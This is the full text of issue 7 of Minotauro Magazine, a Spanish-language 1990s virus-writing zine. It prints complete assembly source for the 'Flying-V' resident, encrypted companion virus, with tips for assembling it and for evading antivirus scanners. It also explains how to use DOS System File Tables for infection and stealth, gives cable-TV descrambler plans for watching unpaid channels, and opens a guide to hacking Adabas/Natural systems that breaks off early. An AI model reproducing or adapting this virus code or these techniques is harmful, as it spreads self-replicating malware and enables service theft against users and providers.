Minotauro Magazine Issue #7:
A Word from the Editors:

	Hi! esta vez podemos decir que no volvimos, sino que resucitamos ;)
Se atraso bastante la salida de este numero, por razones de fuerza mayor, en
otras palabras, demasiado tiempo larbeando sin hacer absolutamente nada,
justamente en los meses de enero, febrero ;) y bueh.. que se le va a hacer..
tambien somos humanos vio ?

	Volviendo al tema que nos incumbe en este momento (la programacion de
virus, por si todavia no lo sabian ;)) tenemos el orgullo de anunciar la salida
a la calle del Virus Oktubre. Por ahora no tenemos mas nada que decir al
respecto mas que teniamos pensado sacarlo como virus ejemplo de la nota de SFT 
de Trurl, pero su autor, Bugs Bunny, se encari§o demasiado como para matarlo 
publicandolo, asi que por un par de numeros, no hablaremos mas sobre el asunto.

	Mientras tanto les damos la segunda y ultima parte de la Mutator 1.0 
para que terminen de redondear sus ideas con respecto al polimorfismo y les 
queriamos dar un ejemplo de lo que NO hay que hacer, como el virus USA de 
Anubis, que ya pasa al otro extremo, un poco de vagueza se puede llegar a 
tolerar, pero para un tipo que contesta: "yo jamas dejo un fuente de un virus 
mio" y hace algo tan terrible como esto, me hace pensar que no lo deja por 
vergÅenza, jajaja. No es por nada Anubis, pero bueno, es TU posicion y TU 
virus.. que queres. Pero muy bien digo 'queriamos' ya que el source se 
encuentra en el disco de Trurl cagandose de risa porque se le cago la maquina
:-) y bueh, esas cosas pasan, sino preguntenles a los de hbo. El resto de los 
articulos, estan tambien en el indice y no necesitan mas explicacion que las 
que ya poseen, asi que no les adelanto mas nada.

	Cambiando un poco de tema, conseguimos una edicion de la minotauro en
ingles dando vueltas por europa, y no fuimos nosotros justamente los que la
traducimos, asi que le agradecemos a Anathema por haberse tomado el trabajo de 
traducirlas y redistribuirlas para el publico no-castellano (ya que tocamos 
este tema, les pregunto si realmente es tan jodido el slang o lunfardo 
argentino, ya que Anathema se queja de que no lo entiende ;), pero bueno). 
Tambien le mandamos un caluroso saludo a Nekromancer, quien ha colaborado con 
nosotros desde siempre y obviamente a todos ustedes por el apoyo que nos 
brindan constantemente, asi que ya saben que son bienvenidos a cualquier bbs 
de la red. QuÇ red. Muchos de ustedes ya sabran que hace un par de meses que 
funciona [dan]net gracias a la garra de Wma por habernos hinchado las pelotas 
todos los dias tratando de que configuremos todo lo antes posible. Asi que 
tambien se agradece ese esfuerzo infrahumano ;)

Dionysios I Hub (+54-1-253-4389), Digital Brain (+54-1-862-0644), Raw Power
(+54-1-238-2144), LSD BBS (+54-1-641-8668), OVNI BBS (+54-1-622-4344), Black 
Future (+54-1-631-6245), Clown(+54-1-799-0277), Twilight Zone (+54-1-768-8639),
Dr. Jekill (+54-1-302-7403), The Best Trojan (+54-1-778-0562).

Puede ser que al dia de la fecha alguno de estos no exista mas, como el caso
de Dionysios 2, o que halla alguno que no figure en la presente lista ya que
fue sacada de un nodelist de por ahi... asi que, fuck off.

Indice:

	Editorial ..................................................... 000
	Virus Companion ............................................... 001
	Job File Table (JFT) System File Table (SFT) .................. 002
	Decoder para PLAYMOUSE/VENUS .................................. 003
	Adabas/Natural ................................................ 004
	Mutator 1.0 Segunda parte ..................................... 005
	Master Boot Record (MBR) ...................................... 006

   Drako, tgc [DAN]
          ^^^ I'm Sorry Trurl, i couldn't help it ;)

Minotauro Magazine #7:
			        Virus Companion
				   Por WMA

	Bueno, en este art°culo vamos a discutir una clase de virus llamados 
virus companion. Esta clase de virus existe gracias a una cualidad del DOS, 
que es que si existen dos archivos con igual nombre pero uno con extensi¢n .COM
y otro con extensi¢n .EXE el archivo .COM ser† ejecutado primero.

Esta clase de virus gralmente. es no residente, y lo que hace es buscar    
por archivos .EXE y crear una copia del virus pero con el nombre del .EXE  
y oculto (atributo hidden); as° el usuario al ejecutar el .EXE en realidad 
estar† ejecutando el virus, el cual luego de hacer sus cosas ejecutar† al  
archivo .EXE correspondiente (con la funci¢n 4B00h, int 21h).              
                                                                           
Como ver†n el concepto es muy sencillo, cualquiera puede hacer esta clase  
de virus, porq' en realidad no es ni un virus propiamente dicho, por esta  
raz¢n hasta hay peleas por la nomenclatura con las que se lo nombra.. ;)   
                                                                           
Lo bueno de esta clase de virii, es que pueden infectar o acompa§ar a un   
anti-virus, cosa q' los virus comunes no pueden, ya que los virus companion
no tocan al host, y el programa anti-virus no se entera de la presencia de 
su compa§erito ;), mientras q' un virus comun tendr°a que modificar al     
archivo del anti-virus y este al auto-chequearse al ser ejecutado dar°a    
cuenta de la infecci¢n.                                                    
                                                                           
Debido a lo anteriormente citado tambien son inmunes a los chequeadores    
de integridad, ya que son un file mas.                                     
                                                                           
Por la misma raz¢n precinden de tecnicas de stealth de directorio.         
                                                                           
Tambien al no necesitar delta offsets ni nada por el estilo, ya q' el      
virus se copia completo a otro archivo, empezando en el mismo offset se    
esquiban algunos flags que hacen saltar a los anti-virus.                  
                                                                           
Combinar un virus companion con uno parasitario ser°a una buena idea.      
                                                                           
Lo b†sico que hay que saber para crear esta clase de 'virus' es saber lo q'
necesita la funci¢n 4b00h de la int 21h para funcionar correctamente y unas
cositas del PSP:                                                           
                                                                           
La funcion para ejecutar un file requiere de estos parametros...           
                                                                           
            AX = 4B00h                                                     
         DS:DX = Nombre del file a ejecutar (ASCIIZ)                       
         ES:BX = Bloque de parametros                                      
                                                                           
La funci¢n 4Bh tambien permite cargar un archivo sin ejecutarlo etc. por   
medio de diferentes valores en AL (4B03h, 4B01h) pero eso no entra en la   
idea de este art°culo.                                                     
                                                                           
Veamos, en DS:DX va el nombre del file a ejecutar, que no tiene ning£n mis-
-terio, y mirando el virus ejemplo que les dejo se dar†n cuenta. Lo £nico  
que cabe remarcar, es que como el virus ejemplo que les dejamos es residen-
-te el buffer para guardar el filename no es de 13 bytes (filename+0), sino
de 128 bytes(127 del file+0). Esto es as° porque al ejecutarse en file el  
DOS le pasa a la funci¢n 4B00h el Full Path Name (x ej: C:\DOS\DEBUG.EXE)  
y entonces si se esta ejecutando un file que est† en el path, y nosotros   
solo consideramos el nombre del file en s°, sin el path, al crear el .COM  
companion, lo crearemos en el path actual err¢neamente y no en donde       
corresponde. Los 127 bytes es porque la linea de comandos del DOS tiene    
como m†ximo ese valor.                                                     
                                                                           
Luego ES:BX apunta a una tabla que debe tener la siguiente forma:          
                                                                           
                dw xxx (segmento de entorno (enviroment)                   
                dw 80h (offset del command line)                           
                dw xxx (segmento)                                          
                dw 5CH (FCB n£mero 1)                                      
                dw xxx (segmento)                                          
                dw 6Ch (FCB n£mero 2)                                      
                dw xxx (segmento)                                          
                                                                           
los valores marcados con 'xxx' son los que tendremos que establecer        
nosotros, en nuestro virus, lo demas son fijos y los pondremos al crear    
esta estructura que tenemos que agregar en nuestro virus.                  
                                                                           
El primer 'xxx' es el ENVIROMENT SEGMENT, o segmento de entorno, este es el
segmento en el que estan ubicados todos los 'SET' ;) que ponen uds. como x 
ej. SET TZ=BUE3, ademas del nombre del file que esta siendo ejecutado, o   
PARENT, ademas de otras cosas que son indocumentadas y no las se ;).       
                                                                           
Para obtener este valor simplemente tenemos que leerlo del offset 2Ch del  
PSP, como nuestro virus es un COM el segmento del PSP es el de CS=DS=ES=SS 
asi que simplemente:                                                       
                                                                           
                    mov ax,word ptr cs:[2Ch]      ; en AX el seg de entorno
                                                                           
y luego ponemos el valor de AX en el lugar adecuado de nuestra tabla.      
                                                                           
Luego viene el offset:segmento de la linea de comandos, que como todos     
saben (saben?) esta en el offset 80h del PSP, lo unico que tenemos que     
hacer es poner el segmento del PSP, de nuevo, como estamos en un COM le pa-
-samos el valor de CS.                                                     
                                                                           
Por si no lo saben la linea de comandos son todos esos switches tipo /NOMEM
etc. que le ponen a un programa al ejecutarlo. Se hace esto porque el      
usuario al querer ejecutar su EXE estar† ejecutando nuestro virus .COM y si
el programa requiere de parametros, los perder°amos y el programa no fun-  
-cionar°a como debe, pero asi al ejecutarse el virus el cmdline queda en   
en el offset 80h, llenamos con estos datos la tabla y al ejecutar el EXE le
llegar†n los switches correctamente.                                       
                                                                           
Por £ltimo, porque se me est† haciendo muy largo, la funci¢n 4B00h necesita
2 FCB's, estos dos FCB's estan en los offsets 5Ch y 6Ch del PSP, lo £nico  
que tiene que hacer el virus es poner los segmentos del PSP, o sea CS y    
listo!.                                                                    
                                                                           
Agg, terminÇ!,. si! ;), es medio tedioso todo esto, pero al fin, una vez   
hecho todo esto tienen que liberar la memoria que no usan para que el file 
a ejecutarse tenga lugar en donde hacerlo y punto, asi:                    
                                                                           
                   mov ah,4ah         ; modifico bloque de memoria alocado 
                   mov bx,paraf       ; paragrafos que ocupa el virus      
                   int 21h            ; (1 paragrafo son 16 bytes)         
                                                                           
Listo!, ahora ejecutan la funcion 4B00h como se debe, y se acab¢.          
Lo £ltimo a tener es cuenta es que la funci¢n 4b00h, nos devuelve el con-  
-trol a nosotros despuÇs de ejecutar el file, si es que este termina con   
la funci¢n 4Ch de la int 21h (cosa que la mayor°a de los programas hacen , 
mas si son .EXE's :)), asi que luego de la ejecuci¢n del HOST conviene     
poner un RET para terminar el virus sin errores.                           
                                                                           
En este art°culo les dejo el source del virus Flying-V, q' es un virus     
residente, encriptado, y por supuesto companion. ;).                       
                                                                           
Realmente el virus es MUY sencillo, asi q' creo q' la explicaci¢n anterior 
alcanza y sobra para entenderlo, ademas el source est† correctamente       
comentado.                                                                 
                                                                           
El virus esta hecho para el A86, asi q' ensamblenlo con este. ;)           
                                                                           
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Virus Flying-V por WMí [DAN]               (c) 1994, Rep£blica Argentina
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
;                 (c) Digital Anarchy Viral development
;          Especialmente hecho para MinoTauro Magazine Issue #5 <- jajaja 5=7
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

; ð Tama§o: 633 bytes
; ð Residente
; ð Hookea int 21h (infecta al ejecutarse)
; ð Virus Companion  (a .EXE's ;))
; ð Encriptado
; ð Stealth de Memoria

; Los .COM creados tienen atributo Hidden y Read Only, as° si un archivo
; ya tiene su compa§ero .COM con un simple JC me doy cuenta y no pierdo
; tiempo en crear nuevamente el .COM


ID   equ  0ffeeh                                ; ID del virus en memoria


flyingv:
              cmp b[key],0                      ; si es la primera ejecu-
              je crypted                        ; ci¢n no desencripto nada.
              jmp skip

key           db    0                           ; key de encripci¢n.

skip:
              mov al,key                        ; Key de encripci¢n.
              lea bx,crypted                    ; Codigo a desencriptar.
              mov dx,cryp_size                  ; Longitud del codigo a
              xchg cx,dx                        ; desencriptar. Anti-Fprot

decrypt:      xor cs:[bx],al                    ; desencripto.
              inc bx                            ; paso al proximo byte.
              loop decrypt
crypted:
              mov cx,ID                         ; Me fijo si estoy residen.
              mov ax,cx                         ; Anti-tbav, flag U
              int 21h
              cmp bx,ID                         ; ya estoy en memoria,
              je exec_exe                       ; ejecutamos el .EXE

              mov ax,3521h                      ; pedimos vector int 21h
              int 21h

              mov word ptr cs:old21,bx          ; guardamos el vector
              mov word ptr cs:old21+2,es

              push cs
              pop es

              mov di,es                         ; stealth de memoria
              dec di                            ; no me pidan q'
              mov es,di                         ; lo comento de nuevo
              mov bx,es:[3h]                    ; por favor.. ;)
              sub bx,virpara1

              inc di
              mov es,di

              mov ah,4ah
              int 21h

              mov bx,virpara
              mov ah,48h
              int 21h

              dec ax
              mov es,ax

              mov byte ptr es:[1h],8

              sub ax,0fh                        ; Copiamos el virus
              mov es,ax                         ; a memoria.
              mov si,100h
              mov di,si
              mov cx,virlen
              rep movsb

              push es
              pop ds

              mov ax,2421h                      ; instalamos nuestro
              inc ah                            ; handler int 21h
              lea dx,Newi21                     ; anti-tbav, flag M
              int 21h

exec_exe:
              push cs,cs
              pop ds,es

              mov ax,cs:w[2Ch]                  ; guardo el segmento
              mov cs:[Seg_del_PSP],ax           ; del PSP

              mov cs:[Seg_CmdLine],cs           ; guardo segmentos
              mov cs:[Seg_FCB1],cs              ; de los demas
              mov cs:[Seg_FCB2],cs              ; pointers.

              mov ah,4ah                        ; liberamos memoria
              mov bx,virpara+1                  ; no usada.
              int 21h

              mov ax,4b00h                      ; ejecutamos el file.
              mov dx,offset exe_name            ; file a ejecutar
              mov bx,offset Seg_del_PSP         ; Bloque de Parametros
              int 21h                           ; Listo!

              ret


;-- Data ------------------------------------------------------------------

Seg_del_PSP  dw 0                               ; segmento del PSP

Command_line dw 80h                             ; offset del CmdLine (Default)
Seg_CmdLine  dw 0                               ; segmento

_File1       dw 005Ch                           ; offset del FCB #1 (Default)
Seg_FCB1     dw 0                               ; segmento

_File2       dw 006Ch                           ; offset del FCB #2 (Default)
Seg_FCB2     dw 0                               ; segmento

Exe_name    db 'EXE     .EXE',0,114 dup (0h)    ; file a ejecutar
open_name   db 'EXE     .COM',0,114 dup (0h)    ; buffer

virname     db 'Flying-V ·y WMí [DAN]'          ; yo ;D

;--------------------------------------------------------------------------

;-- Handler int 21h -------------------------------------------------------

Newi21:
               cmp ax,ID                        ; verificaci¢n de
               jne try                          ; residencia.
               mov bx,ID
               iret

try:           cmp ax,4b00h                     ; vamos a crear un
               je kick_ass                      ; compa§ero.. ;)

               jump: db 0eah                    ; Saltamos a la int 21h
               old21 dd ?

g2:            jmp done

kick_ass:      push ax,bx,cx,dx,si,di,ds,es     ; guardamos registros

               mov si,dx                        ; encontramos la
search:        lodsb                            ; extensi¢n del file.
               cmp al,0
               je g2
               cmp al,'.'
               jne search

               cmp word ptr ds:[si],'XE'        ; verificamos si es un
               jne done                         ; .EXE, si no es nos
               cmp byte ptr ds:[si+2],'E'       ; vamos.
               jne done

               push cs
               pop es

               xor cx,cx                        ; copiamos el nombre
               lea di,exe_name                  ; del file a nuestro
               mov si,dx                        ; buffer para despues
save_name:     lodsb                            ; ejecutarlo.
               cmp al,0
               je mute_2_com
               stosb
               inc cx
               jmp save_name

mute_2_com:    stosb                            ; lo copiamos tambien
               inc cx                           ; al segundo buffer para
               lea di,open_name                 ; crear el .COM con
               mov si,dx                        ; el mismo nombre.
               rep movsb

               push cs                          ; buscamos la extensi¢n del
               pop ds                           ; file para cambiarsela
               lea si,open_name                 ; a .COM y crear el .COM
find_ext:      lodsb
               cmp al,'.'
               jne find_ext

               mov word ptr ds:[si],'OC'        ; le ponemos la
               mov byte ptr ds:[si+2],'M'       ; extension .COM

fin:
               mov ah,3Ch                       ; creamos el
               mov cx,23h                       ; .COM
               lea dx,open_name
               int 21h                          ; si ya existe el .COM
               jc done

               xchg bx,ax                       ; handle en bx

               mov ax,8d00h                     ; copiamos el
               mov es,ax                        ; virus a una
               mov di,100h                      ; zona no usada de
               mov si,di                        ; memoria para
               mov cx,virlen                    ; encriptarlo.
               rep movsb

again:         in al,40h                        ; tomamos un valor
               cmp al,0                         ; aleatorio. si es 0
               je again                         ; buscamos otro.

               mov es:key,al                    ; encriptamos la
               lea di,crypted                   ; parte del virus
               mov cx,cryp_size                 ; q' hay q' encriptar
crypt:         xor es:[di],al                   ; en el buffer en
               inc di                           ; memoria
               loop crypt

               push es
               pop ds

               lea dx,flyingv                   ; escribimos el virus
               mov cx,virlen                    ; encriptado.
               mov ah,3fh                       ; anti-tbav, flag F
               inc ah
               int 21h

               mov ah,3eh                       ; cerramos el file
               int 21h

done:

               pop es,ds,di,si,dx,cx,bx,ax      ; restauramos registros
               jmp jump                         ; saltamos a la int 21h

cryp_size equ $ - offset crypted
virlen    equ $ - offset flyingv
virpara   equ (virlen+15)/16
virpara1  equ virpara+1

Que lo disfruten! ;).                                                      
                                                       bye!.. WMí [DAN]    
Minotauro Magazine #7:

                   System File Tables y Job File Tables
                                 Por Trurl

     
     La SFT (Sistem File Table) es una estructura indocumentada que el DOS
utiliza para hacer todo el manejo de files (ya sea por handles o por FCB),
y la JFT (Job File Table, o tambiÇn File Handle Table) es otra estructura
del DOS, utilizada para asociar handles y SFTs. En este articulo les voy a
explicar el Donde, Como, Cuando y Porque de las SFT y JFT, para que ustedes
puedan divertirse con ellas en sus virus.

JFT - JOB FILE TABLES (O FILE HANDLE TABLES)
     La Job File Table, o File Handle Table, se encuentra la mayor°a de las
veces en el offset 18h del PSP. (quiz† en sus tablas lo encuentren como una
zona indocumentada). En el offset 34h esta el llamado "Handle Table
Address" que no es mas que un puntero far a la JFT. Y en el offset 32h van
a encontrar un word, llamado "Handle Count" que es el m†ximo posible de
entradas dentro de la JFT. (20 por defecto, pero puede variar).
     El Handle Table Address y el Handle Count no son de demasiada impor-
tancia. Est†n para que uno pueda, si quiere, cambiar la JFT de lugar, y
agregarle mas handles (mas de los que el sistema en principio podr°a
aguantar: esto no quiere decir que uno puede abrir mas files que los del
FILES= del CONFIG, sino que puede abrirlos mas VECES. El FILES= determina
el n£mero m†ximo de SFTs del sistema, que no varia). A partir de DOS 3.3 no
es necesario siquiera hacerlo a mano, pues existe una funci¢n especifica
para cambiar la JFT de lugar (AH=67h/INT 21h). 
     Ahora bien, la JFT es una tabla de (por default) 20 bytes. Cada byte,
es una entrada. Un "handle" com£n y corriente, de un file abierto, sirve
como °ndice en esta tabla. Y de ella extraemos un n£mero, que no es mas que
un °ndice dentro de las System File Tables del DOS, para encontrar la SFT
de nuestro file. (llamado a veces "System File Number", SFN).
     Veamos un ejemplo. Yo abro dos veces el file "ABRIME.TXT", obteniendo
2 handles: 0005, y 0006. Luego abro un segundo file "ABRIME2.TXT", y
obtengo un handle 0007. Luego me fijo en el PSP:

     PSP:34 -> nos da un address, que es por lo general PSP:18
    
     offset handle contenido  descripci¢n
     PSP:18 0000   ³ƒƒƒƒ<01   STDIN
     PSP:19 0001   žƒƒƒƒ<01   STDOUT
     PSP:1A 0002   žƒƒƒƒ<01   STDERR
     PSP:1B 0003   Š³ƒƒƒ<00   AUX I/O
     PSP:1C 0004   ŠŠ³ƒƒ<02   LSTOUT
     PSP:1D 0005   ŠŠŠ³ƒ<03   FILE "ABRIME.TXT", primer handle
     PSP:1E 0006   ŠŠŠžƒ<03   FILE "ABRIME.TXT", segundo handle
     PSP:1F 0007   ŠŠŠŠ³<04   FILE "ABRIME2.TXT", primer handle
     PSP:20 0008   ŠŠŠŠŠ FF   handle invalido
     PSP:.. ....   ŠŠŠŠŠ FF   ...
     PSP:2C 0014   ŠŠŠŠŠ FF   handle invalido
                   ŠŠŠŠŠ
                   ŠŠŠŠŠ SFTs
                   Š¿¦¦¦>0    AUX
                   ¿ƒ¦¦¦>1    CON
                     ¿¦¦>2    PRN
                      ¿¦>3    ABRIME.TXT
                       ¿>4    ABRIME2.TXT

     Como vemos, STDIN, STDOUT, Y STDERR est†n los tres direccionados hacia
la misma SFT, que es la 1, y corresponde al device CON. A su vez, el handle
3 (AUX I/O) esta direccionado al device AUX, y el LSTOUT, al device PRN. Y
LOS DOS HANDLES que el DOS me dio por las dos veces que abr° ABRIME.TXT
est†n direccionados a la misma SFT: la 3, mientras que la 4 corresponde al
file ABRIME.TXT. Adem†s, esto nos permite entender que es lo que pasa
cuando hacemos una redirecci¢n en l°nea de comandos: si yo pongo PROGRAMA
>SALIDA.TXT, en el offset 1 de la JFT en vez de haber un 1, habr† alg£n
otro n£mero, lo cual significa que STDOUT estar† redireccionado a alguna
SFT correspondiente al file SALIDA.TXT, en lugar de estar direccionado a
CON. 
     En definitiva la JFT no tiene ning£n uso por si misma: sirve para
encontrar la SFT de un file :-). 

SFT - SYSTEM FILE TABLES
     El DOS mantiene todos los datos relevantes al manejo de files y
devices en estas dos tablas. La primera es para device drivers y files
abiertos v°a handle, y la segunda para FCB. Las tablas no tienen diferen-
cias entre si, excepto en un par de detalles. La incre°ble variedad y
abundancia de datos de todos tipo que hay en este tabla hace que en
realidad tenga un amplio espectro de aplicaci¢n, que se la pueda usar para
infinidad de cosas. El £nico aspecto negativo es que es indocumentada, y
por lo tanto no se sabe que pasara con ella en el futuro.
     La direcci¢n de las dos listas de tablas (la de handle y la de FCB) se
encuentra en la list of lists, en los offset 4 y 22h respectivamente.

SFT - FORMATO (Sacado de la NG de Ralph Brown obviamente)
Format of DOS 4.0-6.0 system file tables and FCB tables
Offset Size    Description
 00h   DWORD   pointer to next file table (offset FFFFh if last)
 04h   WORD    number of files in this table
 06h  3Bh bytes per file
   Offset  Size    Description
    00h    WORD    number of file handles referring to this file
                   FFFF if in use but not referenced
    02h    WORD    file open mode (see AH=3Dh)
             bit 15 set if this file opened v°a FCB
    04h    BYTE    file attribute (see AX=4301h)
    05h    WORD    device info word (see also AX=4400)
        bit 15 set if remote file
        bit 14 set means do not set file time/date on closing
        bit 13 set if named pipe
        bit 12 set if no inherit
        bit 11 set if network spooler
        bit 7  set if device, clear if file (only if local)
        bits 6-0 as for AX=4400h
    07h    DWORD   pointer to device driver header if character device
        else pointer to DOS Drive Parameter Block (see AH=32h)
        or REDIR data
    0Bh    WORD    starting cluster of file (local files only)
    0Dh    WORD    file time in packed format (see AX=5700h)
    0Fh    WORD    file date in packed format (see AX=5700h)
    11h    DWORD   file size
    15h    DWORD   current offset in file (SFT)
           LRU counters (FCB tables, two WORDs)
   ---local file--- 
    19h    WORD    relative cluster within file of last cluster accesed
    1Bh    DWORD   number of sector containing directory entry
    1Fh    BYTE    number of dir entry within sector (byte offset/32)
   ---network redirector---
    19h    DWORD   pointer to REDIRIFS record
    1Dh  3 BYTEs   ???
   ------
    20h 11 BYTEs   filename in FCB format (no path/period, blank-padded)
    2Bh    DWORD   (SHARE.EXE) pointer to previous SFT sharing same file
    2Fh    WORD    (SHARE.EXE) network machine number wich opened file
           (Windows Enhanced mode DOSMGR uses the virtual machine
        ID as the machine number, see INT 2F/AX=1683h)
    31h    WORD    PSP segment of file's owner (see AH=26) (first three
        entries for AUX/CON/PRN contain segment of IO.SYS
        startup code)
    33h    WORD    offset within SHARE.EXE segment of
        sharing record (see above)  0000h = none
    35h    WORD    (local) absolute cluster number of last clustr accessed
        (redirector) ???
    37h    DWORD   pointer to IFS driver for file, 0000000h if native DOS

Note:  the OS/2 2.0 DOS Boot Session does not properly fill in the filename
     field due to incomplete support for SFTs; the OS/2 2.0 DOS Window
     does not appear to support SFTs at all

SFT - ENCONTRANDOLAS
     Hay una sola forma de encontrar la SFT de un file: Primero conseguir
el SFN y luego usarlo dentro de las SFT del DOS para encontrar la que
queremos. Esto a su vez puede hacerse de dos maneras. 
     La primera es a mano: Obteniendo el segmento del PSP (mediante
AH=62/INT 21, o directamente en DS, depende), y dentro de Çl buscar la JFT
y de ah° sacar el SFN del file. Luego conseguir la direcci¢n de las SFT
(mediante la "List of Lists", AH=52/INT 21) e ir recorriÇndolas hasta
llegar al n£mero de tabla deseado. Las SFT est†n organizadas en bloques:
cada bloque puede contener varias tablas y puede haber varios bloques. El
puntero presente en la "List of Lists" nos lleva al primer bloque. Cada
bloque tiene un header de 6 bytes, donde los 4 primeros son un puntero far
al siguiente bloque (siendo -1 el offset en el caso de que sea el £ltimo),
y la ultima word contiene el n£mero de tablas en el bloque. Ver el siguien-
te c¢digo:

findsft: ; encontrando la SFT de un handle "a mano"
; entrada: bx=handle
; salida: carry=1, invalid handle, si carry=0, ES:BX->SFT
     mov di, bx
     mov ah, 62h
     int 21h
     mov es, bx
     les bx, es:[34h]
     mov al, es:[bx+di]
     cbw
     cmp ax, -1
     jz invalidhandle
     push ax
     mov ah, 52h
     int 21h
     pop ax
     cwd
     les bx, es:[bx+4] ; handle SFT
goon:
     add dx, word ptr es:[bx+4]
     cmp dx, ax
     jng nextblock
     sub dx, word ptr es:[bx+4]
     sub ax, dx
     mov cx, ax
     add bx, 6
     jcxz noloop
addit:
     add bx, 3bh
     loop addit
noloop:
     clc
     ret
     ; es:bx -> SFT
nextblock:
     les bx, es:[bx]
     jmp goon
invalidhandle:
     stc
     ret

     La otra forma es la f†cil: usando funciones no documentadas que hagan
todo por nosotros. La funci¢n AX=1220 de INT 2F retorna, a partir de un
handle dado, el address absoluto de la entrada de la JFT particular para
ese handle. A partir de ah°, con una instrucci¢n, obtenemos el SFN. Luego
hay otra funci¢n, AX=1216h tambiÇn de INT 2F, que retorna el address de la
SFT para un SFN particular. Todo hecho. Ver el siguiente c¢digo:

findsft: ; finding it the easy way
     ; bx=handle
     mov ax, 1220h  ; obtenemos la entrada particular dentro de 
     int 2fh        ; la JFT para el file en ES:BX
     xor bx, bx
     mov bl, es:[bx] ; cargamos en BX el SFN
     mov ax, 1216h  ; obtenemos el address de la SFT del file 
     int 2fh
     ; ES:DI->SFT

     La desventaja de buscar la SFT a mano es que es mucho c¢digo en
comparaci¢n al otro. En cambio, lo malo de la INT 2F es que es indocumenta-
da, y no muy confiable (es que el c¢digo ha sido usado tanto que, por
ejemplo, el TBAV 6.24 detectaba el c¢digo mas arriba de INT 2F como el
Darth Vader. Osea, el c¢digo mas arriba constitu°a la STRING DEL DARTH
VADER para el TBAV 6.24. En el 6.30 me consta que lo han solucionado, pero
personalmente me da mala espina :-)). Por otro lado, en todo otro aspecto
las dos v°as son totalmente similares. Queda en cada uno usar la que mas le
convenga.

SFT - USOS
     Como se puede ver en la tabla, hay tantos datos distintos que la SFT
puede ser £til para muchas cosas. Por ejemplo, un uso practico de todos los
d°as en virus, puede ser la cuesti¢n de infectar Read Only o evitar la
modificaci¢n de la fecha de un file al infectar. En lugar de usar AH=57 y
AH=43, puede abrirse el file solo para lectura, y luego cambiarse el modo
de apertura en la SFT a r/w (con esto se puede infectar Read Only sin
cambiarle los atributos, con la ventaja de que algunos AV residentes no se
mosquean si uno abre un ejecutable solo para lectura), y luego cambiar el
bit 14 del word en el offset 5, haciendo que no se actualice la fecha/hora
del file.
     Otros usos mucho mas complicados e interesantes son posibles. Por
ejemplo, el amigo Bugs Bunny en su virus mas reciente, el Oktubre, que
incluir°amos en este n£mero, utiliza la SFT para hacer un stealth del tipo
disinfect-on-the-fly. Lo que hace Bugs es abrir el file cuando se lo piden,
pero restarle el largo del virus al size reportado en la SFT: de esta
forma, la ultima parte del file (que contiene al virus) no existe para el
sistema; no se la puede acceder. Eso, y una sencilla intercepci¢n para
evitar que lean el principio del file (donde hay un JMP o un Header
modificado), y hacer que lean en su lugar lo que originalmente all° hab°a,
hace que efectivamente, el virus sea full stealth. Y ahora, a mirar la
tabla y usar la imaginaci¢n!
                                                           Trurl, tgc [DAN]

Nota: Quisiera agradecer a Fernando Bonsembiante por la amable nota de mi
virus EMMA aparecida en un reciente n£mero de su revista Virus Report.
Procuraremos seguir publicando virus experimentales para seguir d†ndote
material para un par de notas mas, y para que nos sigas promocionando y
haciendo famosos, cosa que nos merecemos, por cierto. :-). (sarcasm is my
middle name)

-------------------------------------------------------------------------------
Nota2: La nota 1 fue escrita antes de que se oficialize la muerte de VR, que
por cierto lamentamos profundamente (?) ;) ahora fuera de joda, una cagada
que no salga mas, pero bueno, no todo se puede en la vida: ser amigo de Fabian
Garcia y robar con la VR, que mas podias pedir ? :-)Minotauro Magazine #7:

			PLAYMOUSE/VENUS Decoder Plans

	Hi. Bueno sin entrar en detalles pasamos a exponer un simple 
decodificar de PLAYMOUSE o como se llame. Esto es asi pues si usted paga por
65 canales, porque no verlos todos. Se basa en que debemos tener una fuente de
video compuesto y de audio. Dicho de otra manera una video con salida de audio
y video por ejemplo. Tambien debemos poseer un televisor que acepte video y 
audio externo. La informacion de video se encuentra a felicidad nuestra sin 
ningun tipo de codificacion. De esta manera el AUDIO OUT de la video se conecta
al AUDIO IN del TV. Para el video debemos recurrir a utilizar el circuito 
descripto en el file DECODER.GIF.

	La funcion de este circuito es basicamente la de invertir la se§al de 
video. Esto es asi para lograr el pulso de sincronismo horizontal correcto.
Esto no es lo correcto por lo cual el circuito funciona en escala de 1 a 10,
7 puntos. Pero aseguro que se ve, y muy bien por los 10 pesos que sale armarlo
y la hora de tiempo empleada.

	Bueno una vez armado con POT2 ajustamos el nivel de senal adecuado y 
con POT1 el nivel adecuado de continua de la se§al invertida. Para los que no
esten en tema solo ajusten a prueba y error con lo cual obtendran el mejor 
ajuste por experimentacion. Tranquilos que no se quema nada.
El funcionamiento es sencillo con la video sintonizan (en mi cable canal 35 y
33) el televisor lo ponen en modo video y listo.

	Aclaracion: en el circuito la pata 2 de u1 es la pata 1, pero el orcad
lo tira como pata 2 ...

PD: Como ya les hemos dicho, estas notas maduraron dentro del disco de drako ;)
Ahora los de Cable Vision (c) hinchan un poco mas las pelotas, porque cada 3
minutos aproximandamente, invierten solo la imagen, quedando la mitad del 
tiempo la imagen en negativo.. No es gran problema.. el gran problema esta vez
es el tiempo.. Si nos poniamos a hacer la boludez esta, se iba a retrasar mas 
todavia este numero, asi que mandamos el circuito como lo teniamos.. les 
prometemos el decoder full para el proximo numero, o el proximo-proximo, etc :)
Minotauro Magazine #7:

			     Hacking Adabas/Natural
			        por Mantis King

	A medida que "trabajaba" sobre el sistema y consegu°a informaci¢n
tÇcnica iba escribiendo toda esta informaci¢n en los bordes de hojas diario,
papeles de chocolate, borradores diversos, etc. y as° fue como la guardÇ en mi
prolijo archivo :). Ahora que la estoy pasando en limpio muchas veces no me 
entiendo la letra, y me cuesta un poco relacionar los distintos papelitos asi 
que sorry si este texto tiene algunos errores. Y si no te gusta es muy sencillo
vieja, pasas de largo y seguis leyendo Minotauro ® OK ?

% Adabas %

	Toda la info. que vas a encontrar se refiere a la versi¢n 5.2.5. Si 
pensas hackear un ambiente Adabas, podes encontrar 15 niveles distintos de 
seguridad. El nivel de seguridad lo elige el administrador del sistema cuando 
